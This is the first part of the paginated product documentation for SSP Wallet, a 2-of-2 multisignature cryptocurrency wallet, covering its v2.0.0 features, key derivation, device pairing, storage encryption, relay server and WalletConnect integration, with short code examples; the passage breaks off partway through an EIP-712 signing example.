> This is part 1 of 2 of the full documentation (pages 1–100 of 145).
> The content is paginated: fetch every part to see all of it.
> Next part: https://sspwallet.gitbook.io/docs/llms-full.txt/1
> Page index: https://sspwallet.gitbook.io/docs/llms.txt

# Welcome to SSP Wallet

## SSP Wallet

### Secure. Simple. Powerful.

{% hint style="success" %}
**SSP v2.0.0 is here** — a complete redesign of SSP Wallet and SSP Key with multi-chain batch sync, the pairing verification code, a Portfolio tab, unified Send, privacy mode, slide-to-approve and more. Updating in place keeps everything as it was. See [What's New in SSP v2.0.0](/docs/whats-new-v2).
{% endhint %}

Visit us at:

* [SSP Wallet](https://sspwallet.io)
* [Run on Flux](https://runonflux.com)

#### Download SSP Wallet:

* **Google Chrome Extension:** [SSP Wallet on Chrome Web Store](https://chromewebstore.google.com/u/3/detail/ssp-wallet/mgfbabcnedcejkfibpafadgkhmkifhbd)
* **Mozilla Firefox Extension:** [SSP Wallet on Firefox Add-ons](https://addons.mozilla.org/en-US/firefox/addon/ssp-wallet)

#### Download SSP Key:

* **iOS:** [Download on the App Store](https://apps.apple.com/us/app/ssp-key/id6463717332)
* **Android:** [Download on Google Play](https://play.google.com/store/apps/details?id=io.runonflux.sspkey)

***

### Why SSP Wallet?

SSP Wallet is not just another crypto wallet. It is a **true two-factor authentication wallet** designed with **security** and **self-custody** at its core. Here's how it works:

1. **Two Devices, Two Keys:**
   * Your **SSP Wallet** contains one private key.
   * Your **SSP Key** (on your mobile device) contains a second private key.
2. **2-of-2 Multisignature:**
   * Transactions are constructed and signed by the SSP Wallet and then signed again by SSP Key.
3. **Enhanced Security:**
   * Keys, seeds, and sensitive data are never shared between devices, making it impossible to compromise without access to both devices.

This design ensures that **both devices are required** to authorize any transaction, making the wallet incredibly secure and user-friendly.

***

### Technical Details

#### Key Derivation

* SSP Wallet adheres to the **BIP48 derivation scheme** for generating hierarchical deterministic keys supporting P2SH, P2SH-P2WSH, and P2WSH addresses.
* Example derivation paths for popular chains:
  * **Bitcoin:** `m/48'/0'/0'/2'/0/0`
  * **Flux:** `m/48'/19167'/0'/0'/0/0`
* Extended functionality includes support for additional chains and constructing multiple external addresses per chain as needed.

#### Synchronization Process

**Initial Setup:**

1. **SSP Relay Server:**
   * Simplifies the synchronization process by facilitating communication between SSP Wallet and SSP Key.
   * Synchronization starts when the SSP Key scans a Hardened Extended Public Key QR code from SSP Wallet.
   * A special identity path (`m/48'/0'/0'/2'/10/0`) reserved for SSP Wallet verifies unique wallet instances.
   * [SSP Relay GitHub Repository](https://github.com/RunOnFlux/ssp-relay)
2. **Public Key Exchange:**
   * SSP Key sends its hardened extended public key (e.g., `m/48'/0'/0'/2'`) to the SSP Relay Server along with a constructed 2-of-2 multisignature address.
   * SSP Wallet validates the received address, ensuring integrity.
3. **Validation and Confirmation:**
   * Both SSP Wallet and SSP Key confirm matching derived addresses to finalize synchronization.
   * Since v2, multiple chains can be synchronized in one batch with a single approval on SSP Key, and both devices display a matching **6-word verification code** derived independently from the synced keys — an out-of-band check that no party (including the relay) tampered with the exchange.

**Transaction Signing:**

* Transactions are signed in two steps:
  1. SSP Wallet constructs the transaction and signs it with its private key.
  2. SSP Key receives the partially signed transaction via the relay server, signs it with its private key, and returns the fully signed transaction for broadcast.

**Offline Functionality:**

* Transactions and synchronization can bypass the relay server through manual QR code scanning, maintaining security in environments with restricted connectivity.

#### Encryption and Storage Security

**Sensitive Data:**

1. **Encryption Layers:**
   * PBKDF2-based password derivation generates keys for AES-GCM encryption.
   * Secondary encryption uses device and browser fingerprints to restrict data access to the originating environment.
2. **Local Data Management:**
   * Serialized sensitive data (e.g., keys, seeds) is stored as JSON blobs with base64-encoded fields (`data`, `iv`, and `salt`).
   * This approach prevents brute-force attacks and unauthorized migration between devices.

**Session Management:**

* Encrypted passwords are stored temporarily in session storage, ensuring convenience without compromising security.
* No sensitive data is ever retained in unencrypted form, even within the application’s runtime memory.

**Non-Sensitive Data:**

* Information such as transaction history and balance data is stored using **LocalForge**, prioritizing performance without compromising sensitive details.

#### Attack Mitigation Strategies

* **Anti-Phishing Measures:**
  * The wallet and key validate each other's public keys and derived addresses during setup.
* **Server Security:**
  * SSP Relay Server only facilitates communication and cannot access private keys or sensitive data.
* **Brute Force Protection:**
  * Physical possession of both devices and knowledge of passwords are required to compromise the wallet.

***

### WalletConnect Integration

SSP Wallet supports **WalletConnect v2** (now **Reown**), enabling seamless integration with thousands of decentralized applications (dApps) on EVM-compatible networks.

#### Key Features:

* **EVM dApp Compatibility:** Connect to any WalletConnect-enabled dApp on Ethereum, Polygon, BSC, Avalanche, and Base
* **DeFi & NFT Support:** Full integration with DeFi protocols, NFT marketplaces, and trading platforms
* **Account Abstraction Support:** Native ERC-4337 Account Abstraction on supported EVM chains
* **EIP-712 Message Signing:** Full support for typed structured data signing standard used by modern dApps
* **Secure Transaction Signing:** All transactions still require both SSP Wallet and SSP Key for authorization
* **Real-Time Communication:** Instant connection and transaction requests through secure WebSocket connections

**Note:** WalletConnect is available only for EVM-compatible networks (Ethereum, Polygon, BSC, Avalanche, Base). UTXO networks (Bitcoin, Litecoin, etc.) use native wallet functionality.

***

### Supported Blockchains

SSP Wallet supports **13 mainnet blockchain networks** (plus testnets) with native multisignature security:

#### UTXO Networks (Native Multisignature)

* **Bitcoin (BTC)** - P2WSH native segwit multisignature
* **Bitcoin Testnet** - P2WSH testing network
* **Bitcoin Signet** - P2WSH controlled test network
* **Litecoin (LTC)** - P2WSH native segwit multisignature
* **Dogecoin (DOGE)** - P2SH multisignature
* **Bitcoin Cash (BCH)** - P2SH multisignature
* **Ravencoin (RVN)** - P2SH multisignature with asset support
* **Zcash (ZEC)** - P2SH multisignature (transparent addresses)
* **Flux (FLUX)** - P2SH multisignature with cloud integration
* **Flux Testnet** - P2SH testing network

#### EVM Networks (Account Abstraction + WalletConnect)

* **Ethereum (ETH)** - Full DeFi ecosystem, ERC-4337 support
* **Polygon (POL)** - Low-cost transactions, gaming dApps
* **Binance Smart Chain (BNB)** - High throughput, diverse DeFi
* **Avalanche (AVAX)** - Fast finality, growing ecosystem
* **Base (ETH on Base)** - Coinbase Layer 2, consumer apps

#### Solana Network (Self-Initiating On-Chain Multisig)

* **Solana (SOL)** - SSP's own multisig program; funds live in a Program-Derived Address vault, with SPL token support

#### Testnet Networks

* **Sepolia** - Ethereum testnet
* **Amoy** - Polygon testnet
* **Solana Devnet** - Solana testing network

Each network maintains SSP's **2-of-2 multisignature security** while leveraging blockchain-specific optimizations and features.

***

### Open Source Transparency

SSP Wallet is fully open source, ensuring transparency and community trust. Review and contribute to the project here:\
[SSP Wallet GitHub Repository](https://github.com/RunOnFlux/ssp-wallet)

***

### Documentation

SSP Wallet has a comprehensive documentation available at with many guides, FAQs, API references and more:\
[SSP Wallet Documentation](https://docs.sspwallet.io/)

***

### SSP Assets

Integrated Blockchains, Assets - Coins, Tokens in SSP Wallet are available at:\
[SSP Assets](https://docs.google.com/spreadsheets/d/1GUqGeV4hCwjKlxazY1vPY52owrEqXQ1UTchOKfkyS7c). SSP Supports custom ERC20 token imports on Ethereum, Polygon, BSC, Avalanche, and Base networks.

***

### Translation

SSP Wallet supports multiple languages! Help us make it accessible to everyone by contributing to translations at:\
[Translate SSP Wallet](https://translate.sspwallet.io), [Translate SSP Key](https://translatekey.sspwallet.io)

***

### Additional Repositories

* **SSP Key Repository:** [SSP Key GitHub Repository](https://github.com/RunOnFlux/ssp-key)
* **SSP Relay Repository:** [SSP Relay GitHub Repository](https://github.com/RunOnFlux/ssp-relay)
* **Account Abstraction Repository:** [Account Abstraction GitHub Repository](https://github.com/RunOnFlux/account-abstraction)

***

### Disclaimer

By using SSP Wallet, you agree to the terms outlined in the [SSP Disclaimer](https://github.com/RunOnFlux/ssp-wallet/blob/master/DISCLAIMER.md).

[![Crowdin](https://badges.crowdin.net/sspwallet/localized.svg)](https://crowdin.com/project/sspwallet)

***

### Developer Information

* **Built With:** React 19, TypeScript, Vite
* **Node Version:** 24+
* **SSP Wallet Version:** 2.0.0
* **SSP Key Version:** 2.0.0
* **SSP Relay Version:** 1.12.0
* **Run Development Mode:** `yarn dev`

#### Key Development Features:

1. **Modular Codebase:**
   * Separation of concerns for wallet UI, cryptographic operations, and relay server communication.
2. **Strong Typing:**
   * TypeScript ensures type safety and prevents runtime errors.
3. **Test Coverage:**
   * Unit tests of library ensures reliability of critical functions.

Join us in building a secure, simple, and powerful wallet for the crypto community!

***

### 🔒 Security Audits

Our security is a top priority. All critical components of the SSP ecosystem have undergone rigorous security audits by [Halborn](https://halborn.com/), ensuring the highest standards of protection.

* **SSP Wallet, SSP Key, and SSP Relay** were thoroughly audited, with the final report completed in **March 2025**.
* **Shnorr Multisig Account Abstraction Smart Contracts and SDK** underwent a comprehensive audit, finalized in **February 2025**.

#### 📜 Audit Reports

📄 **SSP Wallet, SSP Key, SSP Relay Audit**

* [**Halborn Audit Report – SSP Wallet, Key, Relay**](https://github.com/RunOnFlux/ssp-wallet/blob/master/SSP_Security_Audit_HALBORN_2025.pdf) (GitHub)
* [**Halborn Public Report – SSP Wallet, Key, Relay**](https://www.halborn.com/audits/influx-technologies/ssp-wallet-relay-and-key) (Halborn)

📄 **Smart Contracts Audit**

* [**Halborn Audit Report – Smart Contracts**](https://github.com/RunOnFlux/account-abstraction/blob/main/Account_Abstraction_Schnorr_MultiSig_SmartContracts_SecAudit_HALBORN_2025.pdf) (GitHub)
* [**Halborn Public Report – Smart Contracts**](https://www.halborn.com/audits/influx-technologies/account-abstraction-schnorr-multisig) (Halborn)

📄 **SDK Audit**

* [**Halborn Audit Report – SDK**](https://github.com/RunOnFlux/account-abstraction/blob/main/Account_Abstraction_Schnorr_MultiSig_SDK_SecAudit_HALBORN_2025.pdf) (GitHub)
* [**Halborn Public Report – SDK**](https://www.halborn.com/audits/influx-technologies/account-abstraction-schnorr-signatures-sdk) (Halborn)


# What's New in SSP v2.0.0

SSP Wallet v2.0.0 and SSP Key v2.0.0 are the biggest release in SSP's history — a complete redesign of both apps on the new SSP design system, with major security-UX additions. **Same keys, same 2-of-2 self-custody, zero migration**: updating in place keeps your wallet, pairing, settings, and history exactly as they were.

## Highlights

### 🔗 Multi-chain batch sync

Activate any set of chains with a **single approval** on your SSP Key (previously one approval per chain). Select the chains you want while pairing — or later — and watch live progress as your SSP Key prepares the keys for each chain. See [Switch Chain](/docs/getting-started-with-ssp-wallet/switch-chain).

### 🔑 Pairing verification code

After syncing, both devices independently derive the **same 6 words** from your keys. If they match, no one — not even the relay — could have tampered with your pairing. Scan-to-verify is supported. This is a security-critical check: read [Pairing Verification Code](/docs/getting-started-with-ssp-key/pairing-verification-code).

### 📊 Portfolio tab

Your total balance across every chain (tokens included), with 24-hour change and allocation at a glance. Chains you haven't activated yet can be activated right from the list. See [Portfolio & Activity](/docs/getting-started-with-ssp-wallet/portfolio-and-activity).

### 🧭 Redesigned navigation

Wallet and chain switching now live in one **identity pill** at the top — tap it to open a single searchable switcher for wallets and networks. Below, a compact bottom bar navigates between **Home · Portfolio · Activity · Menu** (Settings became **Menu** — everything from the old menus, one place). See [Navigating SSP Wallet](/docs/getting-started-with-ssp-wallet/navigating-ssp-wallet).

### 📤 Unified Send

One clear 3-step flow (**compose → review → approve**) for every chain, with the **full recipient address always shown** at review. Fees are automatic with a manual override. See [Send](/docs/getting-started-with-ssp-wallet/transaction/send).

### 🫱🏼‍🫲🏽 Slide to approve (SSP Key)

Every signature on SSP Key is now a deliberate gesture — slide to approve, release early and nothing happens. Biometric/PIN confirmation still follows the slide. See [Approving Requests with SSP Key](/docs/getting-started-with-ssp-key/approving-requests-with-ssp-key).

### 🔍 Clearer approvals (SSP Key)

Every request type shares one clean layout with **plain-language summaries decoded on your device**, never trusted from the network. Token approvals now warn loudly about **unlimited allowances** and **collection-wide NFT operator grants**, naming the spender.

### 🗒️ Signing history (SSP Key)

A **local, encrypted, biometric-gated** log of everything your Key has co-signed. It never leaves your device. See [Signing History & Privacy Mode](/docs/getting-started-with-ssp-key/signing-history-and-privacy-mode).

### 🙈 Privacy mode

In SSP Wallet, tap your balance to blur every amount. In SSP Key, mask wallet identities and references in your signing history at a tap.

### 🛡️ Real backup verification

Both apps now verify your seed backup with a **word challenge**: SSP Wallet asks you to confirm specific words of your new seed phrase, and SSP Key replaces the old "I backed it up" switch with a 3-word challenge when creating a new key.

### 💛 More v2 additions

* **Backup health** — the wallet reminds you what's at stake until your seed is verified and your Key is paired.
* **2-of-2 handshake screen** — watch your two devices co-sign in real time while a transaction awaits approval.
* **Complete visual refresh** — the new SSP brand (amber, Inter, Lucide icons, the pillar mark) across every screen, light and dark. Motion respects your system's reduce-motion setting.
* **Rebuilt onboarding** — name and color your wallet, verify your seed with a word challenge, and pair with live progress.
* **Smaller SSP Key app** — unused icon libraries and duplicate assets removed (\~6 MB).

## Security

* **No changes to key derivation, signing, seed handling, or encryption** — verified by independent audit across every commit in this release.
* All dependencies updated and exactly pinned; every fixable vulnerability resolved.

## Compatibility & upgrading

* **Updating in place: nothing to re-do.** Your wallet, password, pairing, and settings carry over (covered by an automated release gate). You never need to re-pair or restore from seed because of this update.
* **Update in any order.** SSP Wallet v2 works with SSP Key v1, and SSP Key v2 works with SSP Wallet v1.
* **Batch chain sync activates when both apps are on v2.** Until then, chains sync one at a time exactly as before.
* The offline/manual pairing fallback (QR code and manual extended-public-key input) continues to work as it always has.


# Introduction to 2-of-2 Multisignature

## What is 2-of-2 Multisignature?

SSP Wallet implements a **true 2-of-2 multisignature system** where **both private keys are required** to authorize any transaction. This is fundamentally different from traditional wallets that rely on a single point of failure.

## How It Works

### Traditional Single-Signature Wallets

```
[Private Key] → [Transaction] → [Broadcast]
     ↓
Single Point of Failure
```

### SSP's 2-of-2 Multisignature System

```
[SSP Wallet Key] + [SSP Key Mobile] → [Valid Transaction]
       ↓                  ↓
   Required            Required
```

## Key Benefits

### 🛡️ **Enhanced Security**

* **No Single Point of Failure**: Compromising one device doesn't compromise your funds
* **True Two-Factor Authentication**: Physical possession of both devices required
* **Self-Custody**: You maintain full control of your private keys

### 🚀 **User-Friendly**

* **Simplified Process**: Complex cryptography handled seamlessly
* **Intuitive Interface**: Easy-to-use for both beginners and experts
* **Cross-Platform**: Browser extension + mobile app

### 🔒 **Cryptographically Sound**

* **BIP48 Standard**: Industry-standard hierarchical deterministic key derivation
* **Schnorr Signatures**: Advanced cryptographic signatures for efficiency
* **Account Abstraction**: ERC-4337 support for smart contract wallets

## Real-World Analogy

Think of SSP Wallet like a **safety deposit box that requires two keys**:

* You hold one key (SSP Wallet)
* You hold the second key (SSP Key on your phone)
* The bank (SSP Relay) facilitates the process but **never has access to your keys**

## Technical Foundation

### Address Generation

Each wallet address is generated using **both public keys**:

```
Address = multisig(PubKey_Wallet + PubKey_Mobile)
```

### Transaction Signing Process

1. **SSP Wallet** creates and signs transaction with Key #1
2. **SSP Key** receives and signs transaction with Key #2
3. **Complete Transaction** is broadcast to the network

## Comparison with Other Solutions

| Feature          | SSP Wallet        | Hardware Wallets     | Software Wallets | Custodial Wallets     |
| ---------------- | ----------------- | -------------------- | ---------------- | --------------------- |
| **Security**     | ✅ 2-of-2 MultiSig | ✅ Hardware Secured   | ❌ Single Key     | ❌ Third Party Control |
| **Convenience**  | ✅ Easy to Use     | ⚠️ Hardware Required | ✅ Software Only  | ✅ Very Easy           |
| **Self-Custody** | ✅ Full Control    | ✅ Full Control       | ✅ Full Control   | ❌ No Control          |
| **Recovery**     | ✅ Dual Backup     | ⚠️ Hardware Risk     | ❌ Single Risk    | ⚠️ Platform Risk      |
| **Cost**         | ✅ Free            | ❌ Hardware Cost      | ✅ Free           | ✅ Free                |

## Why 2-of-2 Instead of 2-of-3 or Other Schemes?

### 2-of-2 Advantages:

* **Simplicity**: Only two devices to manage
* **True Security**: Both keys always required
* **No Confusion**: Clear ownership model
* **Performance**: Faster transaction processing

### Other Schemes Drawbacks:

* **2-of-3**: Introduces complexity and potential security holes
* **3-of-5**: Overwhelming for average users
* **1-of-2**: Defeats the purpose of multisig security

## Getting Started

Ready to experience the security of true 2-of-2 multisignature?

👉 [**First-Time Setup Guide**](/docs/quick-start-guides/first-time-setup)

## Next Steps

* [**How SSP Components Work Together**](/docs/ssp-ecosystem-architecture/ecosystem-overview)
* [**BIP48 Key Derivation Explained**](https://github.com/RunOnFlux/ssp-docs/blob/master/architecture/bip48-derivation.md)
* [**Security Architecture Deep Dive**](https://github.com/RunOnFlux/ssp-docs/blob/master/architecture/security-architecture.md)


# How SSP Components Work Together

## The Complete SSP Ecosystem

SSP consists of **three core components** working together to provide secure, user-friendly cryptocurrency management using **traditional 2-of-2 multisignature technology**:

```mermaid
graph TB
    subgraph "User Devices"
        A[SSP Wallet<br/>Browser Extension<br/>Private Key #1]
        B[SSP Key<br/>Mobile App<br/>Private Key #2]
    end
    
    subgraph "Infrastructure"
        C[SSP Relay<br/>Optional Communication Server<br/>Zero-Knowledge Design]
    end
    
    subgraph "Blockchain Networks"
        D[Bitcoin/UTXO Networks<br/>P2SH/P2WSH Multisig]
        E[Ethereum/EVM Networks<br/>ERC-4337 Smart Accounts<br/>Schnorr 2-of-2]
        F[15+ Other Blockchains]
    end
    
    A <--> C
    B <--> C
    A --> D
    A --> E
    A --> F
    B --> D
    B --> E
    B --> F
    
    style A fill:#4CAF50
    style B fill:#2196F3
    style C fill:#FF9800
    style D fill:#FF5722
    style E fill:#9C27B0
```

## Component Deep Dive

### 🌐 SSP Wallet (Browser Extension)

**Primary Key Holder & User Interface**

* **Purpose**: Main interface for wallet management and transaction initiation
* **Key Role**: Holds first private key (Key #1) of the 2-of-2 multisig pair
* **Platforms**: Chrome, Firefox, Brave, Edge
* **Built With**: React 19, TypeScript, Vite
* **Architecture**: Manifest v3 browser extension

#### Core Responsibilities:

* 👤 User interface for all wallet operations across 13+ blockchains
* 🔑 Generate and securely store first BIP48-derived private key
* 💸 Construct transactions for UTXO and EVM networks
* 🔄 Coordinate with SSP Key for transaction approval
* 🌍 Multi-blockchain support with network-specific optimizations
* 🔗 WalletConnect v2 integration for dApp connectivity

#### Supported Address Types:

* **Bitcoin/UTXO**: P2SH, P2WSH (SegWit) multisignature addresses
* **Ethereum/EVM**: ERC-4337 smart-contract accounts (CREATE2-derived), controlled by a 2-of-2 Schnorr multisig — not EOAs
* **Account Abstraction**: The native and only EVM mode; every EVM address is an ERC-4337 smart account signed by both keys

### 📱 SSP Key (Mobile App)

**Secondary Key Holder & Transaction Authorizer**

* **Purpose**: Secure mobile 2FA device for transaction authorization
* **Key Role**: Holds second private key (Key #2) of the 2-of-2 multisig pair
* **Platforms**: iOS 15.1+, Android 7+
* **Built With**: React Native 0.78, TypeScript
* **Security**: React Native Keychain + MMKV encrypted storage

#### Core Responsibilities:

* 🔐 Generate and store second BIP48-derived private key independently
* ✅ Review transaction details and approve/reject on mobile interface
* 📱 Receive push notifications for transaction requests (FCM/APNS)
* 🔄 Synchronize with SSP Wallet via QR codes or optional relay server
* 📤 Complete multisignature transactions using Schnorr signatures
* 🛡️ Independent security layer with biometric authentication

#### Key Security Features:

* **iOS**: Keychain Services integration with Face ID/Touch ID
* **Android**: Android Keystore with fingerprint authentication
* **Encryption**: AES-256 with device fingerprinting
* **Offline Capable**: Full functionality via QR code scanning

### ⚡ SSP Relay (Communication Server)

**Optional Zero-Knowledge Communication Bridge**

* **Purpose**: Optional server to facilitate communication between devices
* **Key Role**: Message relay only - **never accesses or stores private keys**
* **Infrastructure**: Node.js 20+, MongoDB, WebSocket, REST API
* **Security**: Zero-knowledge architecture, end-to-end encryption
* **Alternative**: Full offline operation available via QR codes

#### Core Responsibilities:

* 📡 Relay encrypted messages between SSP Wallet and SSP Key
* 🔄 Coordinate device synchronization process (optional)
* 📊 Provide blockchain data, network fees, and UTXO information
* 🌐 Support for 12+ blockchain networks via various APIs
* 🚀 WebSocket connections for real-time communication
* 📈 Caching and performance optimization

#### Zero-Knowledge Design:

* ❌ **Never sees**: Private keys, seed phrases, transaction details
* ✅ **Only handles**: Encrypted message passing and public blockchain data
* ✅ **Alternative**: Users can operate completely offline with QR codes

## Communication Flow

### Initial Setup & Synchronization

#### Online Synchronization (via SSP Relay)

```
SSP Wallet                SSP Relay (Optional)       SSP Key
    |                         |                         |
    |--- Generate QR Code ---->|                         |
    |    (Contains xPub)       |<--- Scan QR Code -------|
    |                         |   (Extract xPub)        |
    |<-- Exchange xPubs -------|<-- Exchange xPubs ------|
    |                         |                         |
    |<-- Generate Multisig --->|<-- Generate Multisig -->|
    |    Addresses (BIP48)     |    Addresses (BIP48)    |
    |                         |                         |
    |--- Sync Confirmed ------>|--- Sync Confirmed ----->|
    |                         |                         |
    |<-- Show 6-word verification code (derived        -->|
    |    independently on each device; user confirms      |
    |    both devices display the same words)             |
```

Since v2, a sync request can carry **multiple chains at once** (batch sync) — SSP Key shows one approval naming all chains — and every sync ends with the **pairing verification code**: both devices independently derive the same 6 words from the exchanged keys, so any tampering (even by the relay) is visible to the user.

#### Offline Synchronization (QR Code Only)

```
SSP Wallet                                    SSP Key
    |                                           |
    |--- Display QR Code (xPub) -------------->|
    |                                           |
    |<-- Display QR Code (xPub) ---------------|
    |                                           |
    |--- Both devices generate identical ------|
    |    multisig addresses using BIP48        |
```

### Transaction Process

#### Online Transaction Flow

```
SSP Wallet                SSP Relay                SSP Key
    |                         |                         |
    |--- Create Transaction -->|                         |
    |    (UTXO or EVM)         |--- Push Notification -->|
    |    Signed with Key #1    |                         |
    |                         |<-- User Reviews Tx -----|
    |                         |<-- Signs with Key #2 ---|
    |<-- Complete Multisig ---|                         |
    |    Transaction           |                         |
    |--- Broadcast to Network->|                         |
```

#### Offline Transaction Flow

```
SSP Wallet                                    SSP Key
    |                                           |
    |--- Display Unsigned Tx QR Code --------->|
    |                                           |
    |<-- Display Signed Tx QR Code ------------|
    |                                           |
    |--- Scan, Combine, & Broadcast Tx -------|
```

## Security Architecture

### 🔐 **Traditional Multisignature Security**

* **True 2-of-2**: Both private keys required for every transaction
* **BIP48 Derivation**: Industry-standard hierarchical deterministic keys
* **Network Native**: Uses each blockchain's native multisig capabilities
* **No Single Point of Failure**: Compromise of one device doesn't affect funds

### 🛡️ **Device-Level Protection**

1. **SSP Wallet**: Browser extension with encrypted local storage
2. **SSP Key**: Mobile app with hardware-backed key storage
3. **Communication**: Optional relay server with zero-knowledge design
4. **Backup**: User-controlled seed phrase backup (no cloud storage)

### 🔄 **Redundant Verification**

* Address validation on both devices during setup
* Transaction details verification before signing
* Network-specific validation before broadcast
* Optional offline operation for maximum security

## Data Flow & Storage

### SSP Wallet Storage (Browser Extension)

* ✅ **Encrypted with AES-256**: BIP48 private key with password-based encryption
* ✅ **Device Fingerprinted**: Encryption tied to specific browser and device
* ✅ **Local Storage**: Transaction history, contacts via LocalForage
* ✅ **Session Storage**: Temporary password caching for user convenience
* ✅ **No Cloud Sync**: All data remains on user's local device

### SSP Key Storage (Mobile App)

* ✅ **React Native Keychain**: iOS Keychain Services/Android Keystore
* ✅ **MMKV Encrypted**: High-performance encrypted local database
* ✅ **Device-Specific Encryption**: Uses device fingerprint + user PIN/biometric
* ✅ **Biometric Integration**: Face ID/Touch ID/Fingerprint authentication
* ✅ **User-Controlled Backup**: Seed phrase backup managed by user

### SSP Relay Storage (Zero-Knowledge)

* ❌ **No Private Keys**: Never sees, stores, or accesses private keys
* ❌ **No Seed Phrases**: No access to wallet recovery information
* ✅ **Message Queue**: Temporary encrypted message passing only
* ✅ **Blockchain Data**: Public UTXO and network information caching
* ✅ **Performance Data**: Network fees and transaction estimation

## Integration Points

### Blockchain Networks (Actual Implementation)

Based on `/src/storage/blockchains.ts`:

#### UTXO Networks (Native Multisignature)

* **Bitcoin**: P2WSH multisig addresses, RBF support, SegWit optimization
* **Litecoin**: P2WSH multisig, 2.5-minute blocks, low fees
* **Dogecoin**: P2SH multisig, high throughput, meme-friendly
* **Bitcoin Cash**: P2SH multisig, cashaddr format, BCH-specific features
* **Ravencoin**: P2SH multisig, asset creation and transfers
* **Zcash**: P2SH multisig, transparent addresses (shielded coming)
* **Flux**: P2SH multisig, native integration with Flux ecosystem

#### EVM Networks (ERC-4337 Smart Accounts + Schnorr Signing)

* **Ethereum (Chain ID: 1)**: Schnorr multisig message signing, Account Abstraction
* **Polygon (Chain ID: 137)**: Low-cost transactions, full EVM compatibility
* **BSC (Chain ID: 56)**: High throughput, Binance ecosystem integration
* **Base (Chain ID: 8453)**: Coinbase L2, optimized user experience
* **Avalanche (Chain ID: 43114)**: Sub-second finality, C-Chain compatibility

### External Service Integration

* **WalletConnect v2**: Full protocol support with Schnorr multisig compatibility
* **Onramper**: Integrated fiat-to-crypto onramp services
* **Blockbook/Insight**: UTXO network APIs for Bitcoin-like chains
* **Alchemy**: Premium Ethereum infrastructure provider
* **Etherspot**: Account Abstraction bundler services

## Performance Characteristics

### Network-Specific Optimization

* **UTXO Networks**: Efficient UTXO selection and fee optimization
* **EVM Networks**: Gas price optimization and transaction batching
* **Cross-Chain**: Unified interface across different blockchain architectures

### Scaling Capabilities

* **Concurrent Users**: Thousands per relay instance
* **Transaction Throughput**: Limited by blockchain networks, not SSP
* **Network Efficiency**: Optimized API calls and caching strategies
* **Offline Operations**: Full functionality without internet connectivity

## Monitoring & Health

### System Health Indicators

* 🟢 **Device Sync Status**: Real-time synchronization between wallet and key
* 🟢 **Network Connectivity**: Blockchain node and API endpoint health
* 🟢 **Relay Server Status**: Optional communication server availability
* 🟢 **Transaction Queue**: Pending and confirmed transaction status

### Error Recovery Mechanisms

* **Automatic Reconnection**: Network interruption handling
* **State Synchronization**: Consistent state across devices and sessions
* **Offline Mode Activation**: Seamless QR code fallback
* **Transaction Retry Logic**: Failed transaction recovery procedures

## Next Steps

* [**Introduction to 2-of-2 Multisignature**](/docs/ssp-ecosystem-architecture/multisig-introduction) - Core security concepts
* [**Security Overview**](/docs/security-and-best-practices/security-overview) - Comprehensive security analysis
* [**Pairing Verification Code**](/docs/getting-started-with-ssp-key/pairing-verification-code) - How synced devices verify each other
* [**WalletConnect v2 Integration**](/docs/ssp-ecosystem-architecture/walletconnect-integration) - dApp communication flows


# WalletConnect v2 Integration

SSP Wallet features comprehensive WalletConnect v2 support (now **Reown**), enabling seamless integration with thousands of decentralized applications (dApps) on EVM-compatible blockchain networks while maintaining the security of the 2-of-2 multisignature architecture.

## Overview

WalletConnect v2 (rebranded as **Reown**) is the leading protocol for connecting wallets to dApps, providing a secure and standardized way to interact with the decentralized web on EVM-compatible networks. SSP Wallet's implementation ensures that all the security benefits of the multisignature system are preserved during dApp interactions.

## Key Features

### Universal dApp Compatibility

* Connect to any WalletConnect-enabled dApp
* Support for DeFi protocols, NFT marketplaces, and trading platforms
* Seamless integration with popular dApps like Uniswap, OpenSea, and Aave

### EVM-Compatible Chain Support

SSP Wallet's WalletConnect integration supports:

* **Ethereum Mainnet** - Full DeFi ecosystem access
* **Polygon** - Low-cost transactions and gaming dApps
* **Binance Smart Chain (BSC)** - Diverse DeFi options
* **Avalanche** - High-speed transactions and DeFi protocols
* **Base** - Coinbase Layer 2 with growing consumer apps

**Important:** WalletConnect only works with EVM-compatible networks. Bitcoin, Litecoin, Dogecoin, and other UTXO networks do not support WalletConnect protocol.

### Advanced Transaction Types

* **Standard Transactions**: Send/receive tokens and interact with contracts
* **EIP-712 Message Signing**: Full support for typed structured data signing
* **Batch Transactions**: Execute multiple operations in a single transaction
* **Contract Interactions**: Direct smart contract calls with parameter validation

## Technical Implementation

### Connection Flow

```mermaid
sequenceDiagram
    participant D as dApp
    participant W as SSP Wallet
    participant K as SSP Key
    participant R as SSP Relay
    
    D->>W: Connection Request
    W->>W: Generate Session Proposal
    W->>K: Request Connection Approval
    K->>W: Approve Connection
    W->>D: Establish Session
    D->>W: Transaction Request
    W->>K: Sign Transaction
    K->>R: Return Signature
    R->>W: Complete Transaction
    W->>D: Transaction Response
```

### Security Architecture

#### 2-of-2 Multisignature Preservation

* All WalletConnect transactions still require both SSP Wallet and SSP Key approval
* Private keys never leave their respective devices
* Transaction signing follows the standard SSP security protocol

#### Session Management

* Secure WebSocket connections for real-time communication
* Session expiration and renewal mechanisms
* Automatic cleanup of inactive sessions

### Supported Methods

#### Standard Methods

* `eth_sendTransaction`: Execute standard Ethereum transactions
* `personal_sign`: Sign arbitrary messages
* `eth_sign`: Basic message signing
* `eth_signTypedData_v4`: EIP-712 structured data signing

#### Chain-Specific Methods

* `wallet_switchEthereumChain`: Network switching
* `wallet_addEthereumChain`: Add custom networks
* `wallet_watchAsset`: Add custom tokens

## Account Abstraction Support

SSP Wallet's WalletConnect integration includes native support for ERC-4337 Account Abstraction:

### Features

* **Batch Operations**: Multiple actions in single transaction
* **Key Recovery**: SSP is a fixed 2-of-2 multisig with **no** guardian/social recovery and no relay-side key recovery — each of the two keys is recoverable only from its own separate seed phrase

### Smart Account Capabilities

```typescript
// Example: Batch transaction with Account Abstraction
const batchOps = [
  {
    target: tokenContract,
    data: encodeTransfer(recipient, amount),
    value: 0
  },
  {
    target: stakingContract,
    data: encodeStake(amount),
    value: 0
  }
];

await smartAccount.executeBatch(batchOps);
```

## EIP-712 Message Signing

SSP Wallet provides full support for EIP-712 typed structured data signing, which is essential for modern dApp interactions:

### Supported Types

* Domain separators for security
* Primary types and nested structures
* Array and primitive data types
* Custom message formats

### Example Implementation

```typescript
const domain = {
  name: 'Example dApp',
  version: '1',
  chainId: 1,
  verifyingContract: '0x...'
};

const types = {
  Order: [
    { name: 'trader', type: 'address' },
    { name: 'amount', type: 'uint256' },
    { name: 'nonce', type: 'uint256' }
  ]
};

const message = {
  trader: '0x...',
  amount: '1000000000000000000',
  nonce: 123
};

